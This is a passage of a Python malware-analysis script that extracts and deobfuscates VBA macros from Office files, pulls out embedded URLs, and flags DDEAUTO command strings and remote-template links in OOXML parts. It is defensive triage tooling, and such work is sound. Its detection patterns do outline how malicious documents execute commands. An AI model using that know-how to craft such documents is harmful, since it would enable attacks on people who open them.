return re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)',
|
||||
resolve_replace, vba_code)
|
||||
|
||||
|
||||
def full_deobfuscation(vba_code):
|
||||
"""Apply all deobfuscation techniques to VBA code."""
|
||||
code = deobfuscate_chr_calls(vba_code)
|
||||
code = deobfuscate_concatenation(code)
|
||||
code = deobfuscate_strreverse(code)
|
||||
code = deobfuscate_replace(code)
|
||||
return code
|
||||
|
||||
|
||||
def extract_urls_from_code(code):
|
||||
"""Extract URLs from deobfuscated VBA code."""
|
||||
return list(set(re.findall(r'https?://[^\s"\'<>]+', code)))
|
||||
|
||||
|
||||
def check_dde(filepath):
|
||||
"""Check for DDE (Dynamic Data Exchange) attacks in OOXML documents."""
|
||||
findings = []
|
||||
try:
|
||||
z = zipfile.ZipFile(filepath)
|
||||
for name in z.namelist():
|
||||
if name.endswith(".xml") or name.endswith(".rels"):
|
||||
content = z.read(name).decode("utf-8", errors="ignore")
|
||||
if "DDEAUTO" in content or "DDE " in content:
|
||||
dde_cmds = re.findall(r'DDEAUTO[^"]*"([^"]+)"', content)
|
||||
findings.append({
|
||||
"type": "DDE",
|
||||
"file": name,
|
||||
"commands": dde_cmds,
|
||||
})
|
||||
if "attachedTemplate" in content or "Target=" in content:
|
||||
urls = re.findall(r'Target="(https?://[^"]+)"', content)
|
||||
for url in urls:
|
||||
findings.append({
|
||||
"type": "Remote Template",
|
||||
"file": name,
|
||||
"url": url,
|
||||
})
|
||||
except (zipfile.BadZipFile, KeyError):
|
||||
pass
|
||||
return findings
|
||||
|
||||
|
||||
def check_external_relationships(filepath):
|
||||
"""Check OOXML relationships for external references."""
|
||||
externals = []
|
||||
try:
|
||||
z = zipfile.ZipFile(filepath)
|
||||
for name in z.namelist():
|
||||
if ".rels" in name:
|
||||
content = z.read(name).decode("utf-8", errors="ignore")
|
||||
urls = re.findall(r'Target="(https?://[^"]+)"', content)
|
||||
for url in urls:
|
||||
externals.append({"file": name, "url": url})
|
||||
except (zipfile.BadZipFile, KeyError):
|
||||
pass
|
||||
return externals
|
||||
|
||||
|
||||
def generate_report(filepath, triage, macros, analysis, deobfuscated_urls, dde_findings):
|
||||
"""Generate a comprehensive macro malware analysis report."""
|
||||
report = {
|
||||
"file": filepath,
|
||||
"sha256": compute_hash(filepath),
|
||||
"size": os.path.getsize(filepath),
|
||||
"triage": triage,
|
||||
"macro_count": len(macros),
|
||||
"auto_exec_triggers": [e["keyword"] for e in analysis.get("auto_exec", [])],
|
||||
"suspicious_functions": [e["keyword"] for e in analysis.get("suspicious", [])],
|
||||
"iocs": [e["keyword"] for e in analysis.get("iocs", [])],
|
||||
"extracted_urls": deobfuscated_urls,
|
||||
"dde_findings": dde_findings,
|
||||
}
|
||||
return report
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("Office Macro Malware Analysis Agent")
|
||||
print("oletools-based VBA extraction and deobfuscation")
|
||||
print("=" * 60)
|
||||
|
||||
target = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
|
||||
if target and os.path.exists(target):
|
||||
print(f"\n[*] Analyzing: {target}")
|
||||
print(f"[*] SHA-256: {compute_hash(target)}")
|
||||
|
||||
print("\n--- Document Triage (oleid) ---")
|
||||
triage = triage_document(target)
|
||||
for name, info in triage.items():
|
||||
risk_tag = f" [{info['risk']}]" if info.get("risk") else ""
|
||||
print(f" {name}: {info['value']}{risk_tag}")
|
||||
|
||||
print("\n--- VBA Macro Extraction ---")
|
||||
macros = extract_vba_macros(target)
|
||||
print(f" Macro streams found: {len(macros)}")
|
||||
for m in macros:
|
||||
print(f" - {m['vba_filename']} ({m['code_length']} chars)")
|
||||
|
||||
print("\n--- Suspicious Analysis ---")
|
||||
analysis = analyze_vba_suspicious(target)
|
||||
for trigger in analysis["auto_exec"]:
|
||||
print(f" [!] Auto-exec: {trigger['keyword']}")
|
||||
for sus in analysis["suspicious"]:
|
||||
print(f" [!] Suspicious: {sus['keyword']} - {sus['description']}")
|
||||
for ioc in analysis["iocs"]:
|
||||
print(f" [IOC] {ioc['keyword']}")
|
||||
|
||||
print("\n--- Deobfuscation ---")
|
||||
all_urls = []
|
||||
for m in macros:
|
||||
deobfuscated = full_deobfuscation(m["code"])
|
||||
urls = extract_urls_from_code(deobfuscated)
|
||||
all_urls.extend(urls)
|
||||
for url in set(all_urls):
|
||||
print(f" URL: {url}")
|
||||
|
||||
print("\n--- DDE / Remote Template Check ---")
|
||||
dde = check_dde(target)
|
||||
for d in dde:
|
||||
print(f" [{d['type']}] {d.get('url', d.get('commands', ''))}")
|
||||
|
||||
report = generate_report(target, triage, macros, analysis, list(set(all_urls)), dde)
|
||||
print(f"\n[*] Report: {json.dumps(report, indent=2, default=str)[:500]}...")
|
||||
else:
|
||||
print(f"\n[DEMO] Usage: python agent.py <document.docm|xlsm>")
|
||||
print("[*] Provide an Office document for macro analysis.")
|
||||
Reference in New Issue
Block a user